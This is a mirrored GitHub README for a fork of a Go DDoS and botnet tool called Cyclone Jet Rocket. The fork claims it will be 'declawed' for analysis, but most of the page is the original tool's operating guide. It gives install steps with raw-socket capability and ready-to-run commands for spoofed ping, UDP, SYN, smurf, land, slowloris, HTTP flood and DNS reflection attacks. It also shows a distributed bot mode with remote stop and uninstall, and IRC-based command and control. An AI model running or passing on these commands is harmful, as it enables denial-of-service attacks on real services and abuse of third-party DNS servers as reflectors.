GithubHelp home page GithubHelp logo

kenbuckler / cyclone-jet-rocket-declawed Goto Github PK

View Code? Open in Web Editor NEW

This project forked from crazyboycjr/cyclone-jet-rocket

0.0 0.0 0.0 73 KB

Analysis of Cyclone Jet Rocket

License: BSD 3-Clause "New" or "Revised" License

Go 100.00%

cyclone-jet-rocket-declawed's Introduction

Cyclone Jet Rocket

Cyclone Jet Rocket is a DDoS tool. This custom version will be "declawed" and examined for better understanding of how the botnet part functions. THIS HAS NOT BEEN TESTED AND NO WARRANTY PROVIDED

This DDoS tool provides more than 8 kinds of attack methods, each in one module, with different parameters each module. The abstraction of Layers is inspired from gopacket, but reimplemented by myself.

Install

go get github.com/crazyboycjr/cyclone-jet-rocket
go build -o $GOPATH/bin/cjr github.com/crazyboycjr/cyclone-jet-rocket
sudo setcap cap_net_raw+ep $GOPATH/bin/cjr

Usage

stand-alone mode

cjr --help
cjr --list-module
cjr --module ping-flood help
cjr -m ping-flood --spoof 192.168.1.0/24 --destination 192.168.1.3 --rate 100/ms -c 100000 --size 1472
cjr -m udp-flood -s 192.168.0.0/16 -d 192.168.1.3 -p 80 -p 22 -p 8000:9000 -r nolimit --size 1200
cjr -m smurf --broadcast 192.168.1.255 -d 192.168.1.3 -c 1000 --size 1000
cjr -m syn-flood -s 192.168.2.0/24 -d 192.168.1.3 -p 80 -r 100/s
cjr -m slowloris --url http://www.example.com --request GET -c 100 -r 1/s --timeout 10
cjr -m slowloris -u http://www.example.com -X POST -c 100 -r 10/s -t 20
cjr -m rdns --target 192.168.1.3 --dns 202.120.224.6:53 --dns 61.129.42.6:53 --dns 114.114.114.114:53 -c 1000 -r 10/s
cjr -m rdns --target 192.168.1.3 -f dns_servers.txt -c 1000 -r 10/s --question www.example.com
cjr -m land -d 192.168.1.3 -p 80 -r 10/s
cjr -m http-flood -u http://www.example.com -X POST -c 100 -r 10/s

distributed mode

cjr --dist help
cjr -D --wait # only slave host use this command to wait for commands
cjr -D --list-bots
cjr -D -m syn-flood -s 10.0.0.0/8 -d 10.123.123.123 -p 80 -r 10/s
cjr -D --stop
cjr -D --uninstall # this command will terminate the process on slave host and remove the executable file

For convenience, we can also join the IRC channel to give the order. Something like below

irssi
/connect Freenode
/join cjr-random
!list
!module rdns --target 192.168.1.3 --dns 202.120.224.6:53 -c 1000 -r 10/s
!stop

Dependencies

cyclone-jet-rocket-declawed's People

Contributors

crazyboycjr avatar kenbuckler avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.